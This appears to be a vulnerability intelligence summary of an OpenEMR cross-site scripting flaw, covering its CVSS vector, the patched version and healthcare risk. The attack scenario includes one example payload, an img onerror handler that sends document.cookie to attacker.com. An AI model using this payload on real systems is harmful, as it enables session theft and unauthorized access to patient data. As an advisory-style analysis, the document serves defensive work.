Openemr CVE-2026-33911

The CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) indicates moderate severity with several mitigating factors: network accessibility is unrestricted, attack complexity is low, but the vulnerability requires prior authentication (PR:L) and user interaction (UI:R), and causes only confidentiality and integrity impacts at limited scope. The presence of a patched version (8.0.0.3) and confirmed fix commit in GitHub indicates vendor responsiveness. No KEV or active exploitation data is provided in the intelligence sources, and the UI:R requirement means this is primarily a secondary attack chain component rather than a direct entry point. In a healthcare context where OpenEMR manages sensitive patient data, compromising an authenticated user's session through XSS could enable lateral movement or HIPAA violations, elevating practical risk despite the moderate CVSS score. The requirement for authentication and user interaction suggests this is not a critical remote code execution vector but rather a session-stealing or privilege-escalation stepping stone.

An authenticated attacker with access to the OpenEMR system crafts a malicious POST request containing JavaScript code in the 'title' parameter (e.g., title='<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'). When a victim user (such as an administrator or clinician) is tricked into viewing or submitting this payload through a phishing email or social engineering, the JSON response is rendered as HTML by the browser, triggering the onerror handler and exfiltrating the victim's session cookie to an attacker-controlled server. The attacker then replays the stolen session token to gain unauthorized access to the victim's OpenEMR account, potentially accessing, modifying, or exfiltrating protected health information.